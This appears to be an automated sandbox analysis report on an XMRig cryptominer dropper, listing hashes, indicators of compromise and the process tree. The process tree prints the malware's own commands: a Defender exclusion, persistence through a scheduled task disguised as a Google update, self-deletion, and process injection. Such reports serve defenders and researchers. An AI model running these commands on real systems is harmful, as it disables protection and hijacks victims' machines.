xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
1799s
max time network
1799s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
23/01/2024, 19:27

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General

Target

grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 964 created 3432	964	EtPLMpbCyFJpMJr7.exe	52
PID 964 created 3432	964	EtPLMpbCyFJpMJr7.exe	52
PID 964 created 3432	964	EtPLMpbCyFJpMJr7.exe	52
PID 964 created 3432	964	EtPLMpbCyFJpMJr7.exe	52
PID 4200 created 3432	4200	updater.exe	52
PID 4200 created 3432	4200	updater.exe	52
PID 4200 created 3432	4200	updater.exe	52
PID 4200 created 3432	4200	updater.exe	52
PID 4344 created 3432	4344	conhost.exe	52
PID 4200 created 3432	4200	updater.exe	52

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 30 IoCs

miner

resource	yara_rule
behavioral12/memory/3488-125-0x00007FF691960000-0x00007FF692154000-memory.dmp	xmrig
behavioral12/memory/3488-129-0x00007FF691960000-0x00007FF692154000-memory.dmp	xmrig
behavioral12/memory/3488-131-0x00007FF691960000-0x00007FF692154000-memory.dmp	xmrig
behavioral12/memory/3488-132-0x00007FF691960000-0x00007FF692154000-memory.dmp	xmrig
behavioral12/memory/3488-134-0x00007FF691960000-0x00007FF692154000-memory.dmp	xmrig
behavioral12/memory/3488-138-0x00007FF691960000-0x00007FF692154000-memory.dmp	xmrig
behavioral12/memory/3488-140-0x00007FF691960000-0x00007FF692154000-memory.dmp	xmrig
behavioral12/memory/3488-142-0x00007FF691960000-0x00007FF692154000-memory.dmp	xmrig
behavioral12/memory/3488-144-0x00007FF691960000-0x00007FF692154000-memory.dmp	xmrig
behavioral12/memory/3488-146-0x00007FF691960000-0x00007FF692154000-memory.dmp	xmrig
behavioral12/memory/3488-148-0x00007FF691960000-0x00007FF692154000-memory.dmp	xmrig
behavioral12/memory/3488-150-0x00007FF691960000-0x00007FF692154000-memory.dmp	xmrig
behavioral12/memory/3488-152-0x00007FF691960000-0x00007FF692154000-memory.dmp	xmrig
behavioral12/memory/3488-154-0x00007FF691960000-0x00007FF692154000-memory.dmp	xmrig
behavioral12/memory/3488-156-0x00007FF691960000-0x00007FF692154000-memory.dmp	xmrig
behavioral12/memory/3488-158-0x00007FF691960000-0x00007FF692154000-memory.dmp	xmrig
behavioral12/memory/3488-160-0x00007FF691960000-0x00007FF692154000-memory.dmp	xmrig
behavioral12/memory/3488-162-0x00007FF691960000-0x00007FF692154000-memory.dmp	xmrig
behavioral12/memory/3488-164-0x00007FF691960000-0x00007FF692154000-memory.dmp	xmrig
behavioral12/memory/3488-166-0x00007FF691960000-0x00007FF692154000-memory.dmp	xmrig
behavioral12/memory/3488-168-0x00007FF691960000-0x00007FF692154000-memory.dmp	xmrig
behavioral12/memory/3488-170-0x00007FF691960000-0x00007FF692154000-memory.dmp	xmrig
behavioral12/memory/3488-172-0x00007FF691960000-0x00007FF692154000-memory.dmp	xmrig
behavioral12/memory/3488-174-0x00007FF691960000-0x00007FF692154000-memory.dmp	xmrig
behavioral12/memory/3488-176-0x00007FF691960000-0x00007FF692154000-memory.dmp	xmrig
behavioral12/memory/3488-178-0x00007FF691960000-0x00007FF692154000-memory.dmp	xmrig
behavioral12/memory/3488-180-0x00007FF691960000-0x00007FF692154000-memory.dmp	xmrig
behavioral12/memory/3488-186-0x00007FF691960000-0x00007FF692154000-memory.dmp	xmrig
behavioral12/memory/3488-188-0x00007FF691960000-0x00007FF692154000-memory.dmp	xmrig
behavioral12/memory/3488-190-0x00007FF691960000-0x00007FF692154000-memory.dmp	xmrig

Executes dropped EXE 1 IoCs

pid	Process
4200	updater.exe

UPX packed file 31 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral12/memory/3488-121-0x00007FF691960000-0x00007FF692154000-memory.dmp	upx
behavioral12/memory/3488-125-0x00007FF691960000-0x00007FF692154000-memory.dmp	upx
behavioral12/memory/3488-129-0x00007FF691960000-0x00007FF692154000-memory.dmp	upx
behavioral12/memory/3488-131-0x00007FF691960000-0x00007FF692154000-memory.dmp	upx
behavioral12/memory/3488-132-0x00007FF691960000-0x00007FF692154000-memory.dmp	upx
behavioral12/memory/3488-134-0x00007FF691960000-0x00007FF692154000-memory.dmp	upx
behavioral12/memory/3488-138-0x00007FF691960000-0x00007FF692154000-memory.dmp	upx
behavioral12/memory/3488-140-0x00007FF691960000-0x00007FF692154000-memory.dmp	upx
behavioral12/memory/3488-142-0x00007FF691960000-0x00007FF692154000-memory.dmp	upx
behavioral12/memory/3488-144-0x00007FF691960000-0x00007FF692154000-memory.dmp	upx
behavioral12/memory/3488-146-0x00007FF691960000-0x00007FF692154000-memory.dmp	upx
behavioral12/memory/3488-148-0x00007FF691960000-0x00007FF692154000-memory.dmp	upx
behavioral12/memory/3488-150-0x00007FF691960000-0x00007FF692154000-memory.dmp	upx
behavioral12/memory/3488-152-0x00007FF691960000-0x00007FF692154000-memory.dmp	upx
behavioral12/memory/3488-154-0x00007FF691960000-0x00007FF692154000-memory.dmp	upx
behavioral12/memory/3488-156-0x00007FF691960000-0x00007FF692154000-memory.dmp	upx
behavioral12/memory/3488-158-0x00007FF691960000-0x00007FF692154000-memory.dmp	upx
behavioral12/memory/3488-160-0x00007FF691960000-0x00007FF692154000-memory.dmp	upx
behavioral12/memory/3488-162-0x00007FF691960000-0x00007FF692154000-memory.dmp	upx
behavioral12/memory/3488-164-0x00007FF691960000-0x00007FF692154000-memory.dmp	upx
behavioral12/memory/3488-166-0x00007FF691960000-0x00007FF692154000-memory.dmp	upx
behavioral12/memory/3488-168-0x00007FF691960000-0x00007FF692154000-memory.dmp	upx
behavioral12/memory/3488-170-0x00007FF691960000-0x00007FF692154000-memory.dmp	upx
behavioral12/memory/3488-172-0x00007FF691960000-0x00007FF692154000-memory.dmp	upx
behavioral12/memory/3488-174-0x00007FF691960000-0x00007FF692154000-memory.dmp	upx
behavioral12/memory/3488-176-0x00007FF691960000-0x00007FF692154000-memory.dmp	upx
behavioral12/memory/3488-178-0x00007FF691960000-0x00007FF692154000-memory.dmp	upx
behavioral12/memory/3488-180-0x00007FF691960000-0x00007FF692154000-memory.dmp	upx
behavioral12/memory/3488-186-0x00007FF691960000-0x00007FF692154000-memory.dmp	upx
behavioral12/memory/3488-188-0x00007FF691960000-0x00007FF692154000-memory.dmp	upx
behavioral12/memory/3488-190-0x00007FF691960000-0x00007FF692154000-memory.dmp	upx

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 4200 set thread context of 4344	4200	updater.exe	111
PID 4200 set thread context of 3488	4200	updater.exe	117

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Chrome\updater.exe	EtPLMpbCyFJpMJr7.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2192	WMIC.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe

Suspicious behavior: EnumeratesProcesses 30 IoCs

pid	Process
964	EtPLMpbCyFJpMJr7.exe
964	EtPLMpbCyFJpMJr7.exe
4540	powershell.exe
4540	powershell.exe
964	EtPLMpbCyFJpMJr7.exe
964	EtPLMpbCyFJpMJr7.exe
2784	powershell.exe
2784	powershell.exe
964	EtPLMpbCyFJpMJr7.exe
964	EtPLMpbCyFJpMJr7.exe
964	EtPLMpbCyFJpMJr7.exe
964	EtPLMpbCyFJpMJr7.exe
768	powershell.exe
768	powershell.exe
4200	updater.exe
4200	updater.exe
3396	powershell.exe
3396	powershell.exe
4200	updater.exe
4200	updater.exe
3904	powershell.exe
3904	powershell.exe
4200	updater.exe
4200	updater.exe
4200	updater.exe
4200	updater.exe
4344	conhost.exe
4344	conhost.exe
4200	updater.exe
4200	updater.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4540	powershell.exe
Token: SeDebugPrivilege	2784	powershell.exe
Token: SeIncreaseQuotaPrivilege	2784	powershell.exe
Token: SeSecurityPrivilege	2784	powershell.exe
Token: SeTakeOwnershipPrivilege	2784	powershell.exe
Token: SeLoadDriverPrivilege	2784	powershell.exe
Token: SeSystemProfilePrivilege	2784	powershell.exe
Token: SeSystemtimePrivilege	2784	powershell.exe
Token: SeProfSingleProcessPrivilege	2784	powershell.exe
Token: SeIncBasePriorityPrivilege	2784	powershell.exe
Token: SeCreatePagefilePrivilege	2784	powershell.exe
Token: SeBackupPrivilege	2784	powershell.exe
Token: SeRestorePrivilege	2784	powershell.exe
Token: SeShutdownPrivilege	2784	powershell.exe
Token: SeDebugPrivilege	2784	powershell.exe
Token: SeSystemEnvironmentPrivilege	2784	powershell.exe
Token: SeRemoteShutdownPrivilege	2784	powershell.exe
Token: SeUndockPrivilege	2784	powershell.exe
Token: SeManageVolumePrivilege	2784	powershell.exe
Token: 33	2784	powershell.exe
Token: 34	2784	powershell.exe
Token: 35	2784	powershell.exe
Token: 36	2784	powershell.exe
Token: SeIncreaseQuotaPrivilege	2784	powershell.exe
Token: SeSecurityPrivilege	2784	powershell.exe
Token: SeTakeOwnershipPrivilege	2784	powershell.exe
Token: SeLoadDriverPrivilege	2784	powershell.exe
Token: SeSystemProfilePrivilege	2784	powershell.exe
Token: SeSystemtimePrivilege	2784	powershell.exe
Token: SeProfSingleProcessPrivilege	2784	powershell.exe
Token: SeIncBasePriorityPrivilege	2784	powershell.exe
Token: SeCreatePagefilePrivilege	2784	powershell.exe
Token: SeBackupPrivilege	2784	powershell.exe
Token: SeRestorePrivilege	2784	powershell.exe
Token: SeShutdownPrivilege	2784	powershell.exe
Token: SeDebugPrivilege	2784	powershell.exe
Token: SeSystemEnvironmentPrivilege	2784	powershell.exe
Token: SeRemoteShutdownPrivilege	2784	powershell.exe
Token: SeUndockPrivilege	2784	powershell.exe
Token: SeManageVolumePrivilege	2784	powershell.exe
Token: 33	2784	powershell.exe
Token: 34	2784	powershell.exe
Token: 35	2784	powershell.exe
Token: 36	2784	powershell.exe
Token: SeIncreaseQuotaPrivilege	2784	powershell.exe
Token: SeSecurityPrivilege	2784	powershell.exe
Token: SeTakeOwnershipPrivilege	2784	powershell.exe
Token: SeLoadDriverPrivilege	2784	powershell.exe
Token: SeSystemProfilePrivilege	2784	powershell.exe
Token: SeSystemtimePrivilege	2784	powershell.exe
Token: SeProfSingleProcessPrivilege	2784	powershell.exe
Token: SeIncBasePriorityPrivilege	2784	powershell.exe
Token: SeCreatePagefilePrivilege	2784	powershell.exe
Token: SeBackupPrivilege	2784	powershell.exe
Token: SeRestorePrivilege	2784	powershell.exe
Token: SeShutdownPrivilege	2784	powershell.exe
Token: SeDebugPrivilege	2784	powershell.exe
Token: SeSystemEnvironmentPrivilege	2784	powershell.exe
Token: SeRemoteShutdownPrivilege	2784	powershell.exe
Token: SeUndockPrivilege	2784	powershell.exe
Token: SeManageVolumePrivilege	2784	powershell.exe
Token: 33	2784	powershell.exe
Token: 34	2784	powershell.exe
Token: 35	2784	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3856 wrote to memory of 2072	3856	cmd.exe	103
PID 3856 wrote to memory of 2072	3856	cmd.exe	103
PID 768 wrote to memory of 1144	768	powershell.exe	104
PID 768 wrote to memory of 1144	768	powershell.exe	104
PID 4200 wrote to memory of 4344	4200	updater.exe	111
PID 4300 wrote to memory of 2192	4300	cmd.exe	113
PID 4300 wrote to memory of 2192	4300	cmd.exe	113
PID 4200 wrote to memory of 3488	4200	updater.exe	117

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3432
- C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\EtPLMpbCyFJpMJr7.exe
  "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\EtPLMpbCyFJpMJr7.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:964
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4540
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2784
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:768
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:1144
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\EtPLMpbCyFJpMJr7.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3856
- - C:\Windows\System32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:2072
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:3396
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:3904
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:4344
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:4176
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:4300
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  PID:3488

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4200

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
1⤵
- Detects videocard installed
PID:2192

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
1.3MB

MD5
04a143112711be2fc6db4037a2ea65e6

SHA1
fa6d29d2a969e780633016a28861022be9306df2

SHA256
d532ca914381c7130a490ee8f368d155bf77a5781916bb2ce397f37b0006611b

SHA512
924132c36dd96641b9743d157d78d1d30097fa93f15cb6ca0720ee004d00aad0add4ec187ceb9dbd0b9264ce2afa468772e23da9b085c855d5447e0272762ecc

Download Submit
C:\Program Files\Google\Chrome\updater.exe

Filesize
143KB

MD5
bf5cca2f140587b019bf2a487a2527d4

SHA1
ea38dc6e7b916522f68d2c595fa3e24130ff1806

SHA256
5a1040fef0a7a53dace43db93daaa36c74e8bb2e4df8fd486c3b4cc1fdfef175

SHA512
5881caf190cb575557f1c4df83cef4ee82c8e5f910b4e28914daaea7410ca45ec98bb2b6cbdb0e95e5b633deb8767290d245540690fbe0f570b02f18d467d795

Download Submit
C:\Program Files\Google\Libs\g.log

Filesize
226B

MD5
fdba80d4081c28c65e32fff246dc46cb

SHA1
74f809dedd1fc46a3a63ac9904c80f0b817b3686

SHA256
b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398

SHA512
b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
